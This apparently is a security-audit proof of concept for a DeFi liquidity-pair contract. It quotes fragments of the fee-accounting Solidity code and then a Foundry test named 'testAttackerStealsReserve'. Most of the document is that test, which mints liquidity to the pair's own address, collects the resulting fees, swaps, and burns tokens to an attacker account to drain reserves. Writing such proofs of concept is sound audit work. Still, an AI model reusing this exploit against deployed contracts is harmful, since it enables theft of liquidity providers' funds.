    function _getPendingFees(
        Bin memory _bin,
        address _account,
        uint256 _id,
        uint256 _balance
    ) private view returns (uint256 amountX, uint256 amountY) {
        Debts memory _debts = _accruedDebts[_account][_id];

        amountX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtX;
        amountY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtY;
    }
    function _updateUserDebts(
        Bin memory _bin,
        address _account,
        uint256 _id,
        uint256 _balance
    ) private {
        uint256 _debtX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET);
        uint256 _debtY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET);

        _accruedDebts[_account][_id].debtX = _debtX;
        _accruedDebts[_account][_id].debtY = _debtY;
    }
if (_from != _to) {
    if (_from != address(0) && _from != address(this)) {
        uint256 _balanceFrom = balanceOf(_from, _id);
        _cacheFees(_bin, _from, _id, _balanceFrom, _balanceFrom - _amount);
    }
    if (_to != address(0) && _to != address(this)) {
        uint256 _balanceTo = balanceOf(_to, _id);
        _cacheFees(_bin, _to, _id, _balanceTo, _balanceTo + _amount);
    }
}
uint256 _amountIn = _swapForY
    ? tokenX.received(_pair.reserveX, _pair.feesX.total)
    : tokenY.received(_pair.reserveY, _pair.feesY.total);
if (amountX != 0) {
    _pairInformation.feesX.total -= uint128(amountX);
}
if (amountY != 0) {
    _pairInformation.feesY.total -= uint128(amountY);
}
    function testAttackerStealsReserve() public {
        uint256 amountY=  53333333333333331968;
        uint256 amountX = 100000;

        uint256 amountYInLiquidity = 100e18;
        uint256 totalFeesFromGetSwapX;
        uint256 totalFeesFromGetSwapY;

        addLiquidity(amountYInLiquidity, ID_ONE, 5, 0);
        uint256 id;
        (,,id ) = pair.getReservesAndId();
        console.log("id before" , id);

        //swap X -> Y and accrue X fees
        (uint256 amountXInForSwap, uint256 feesXFromGetSwap) = router.getSwapIn(pair, amountY, true);
        totalFeesFromGetSwapX += feesXFromGetSwap;

        token6D.mint(address(pair), amountXInForSwap);
        vm.prank(ALICE);
        pair.swap(true, DEV);
        (uint256 feesXTotal, , uint256 feesXProtocol, ) = pair.getGlobalFees();

        (,,id ) = pair.getReservesAndId();
        console.log("id after" , id);


        console.log("Bob balance:");
        console.log(token6D.balanceOf(BOB));
        console.log(token18D.balanceOf(BOB));
        console.log("-------------");

        uint256 amount0In = 100e18;

        uint256[] memory _ids = new uint256[](1); _ids[0] = uint256(ID_ONE);
        uint256[] memory _distributionX = new uint256[](1); _distributionX[0] = uint256(Constants.PRECISION);
        uint256[] memory _distributionY = new uint256[](1); _distributionY[0] = uint256(0);

        console.log("Minting for BOB:");
        console.log(amount0In);
        console.log("-------------");

        token6D.mint(address(pair), amount0In);
        //token18D.mint(address(pair), amount1In);
        pair.mint(_ids, _distributionX, _distributionY, address(pair));
        uint256[] memory amounts = new uint256[](1);
        console.log("***");
        for (uint256 i; i < 1; i++) {
            amounts[i] = pair.balanceOf(address(pair), _ids[i]);
            console.log(amounts[i]);
        }
        uint256[] memory profit_ids = new uint256[](1); profit_ids[0] = 8388608;
        (uint256 profit_X, uint256 profit_Y) = pair.pendingFees(address(pair), profit_ids);
        console.log("profit x", profit_X);
        console.log("profit y", profit_Y);
        pair.collectFees(address(pair), profit_ids);
        (uint256 swap_x, uint256 swap_y) = pair.swap(true,BOB);

        console.log("swap x", swap_x);
        console.log("swap y", swap_y);

        console.log("Bob balance after swap:");
        console.log(token6D.balanceOf(BOB));
        console.log(token18D.balanceOf(BOB));
        console.log("-------------");

        console.log("*****");
        pair.burn(_ids, amounts, BOB);


        console.log("Bob balance after burn:");
        console.log(token6D.balanceOf(BOB));
        console.log(token18D.balanceOf(BOB));
        console.log("-------------");

    }
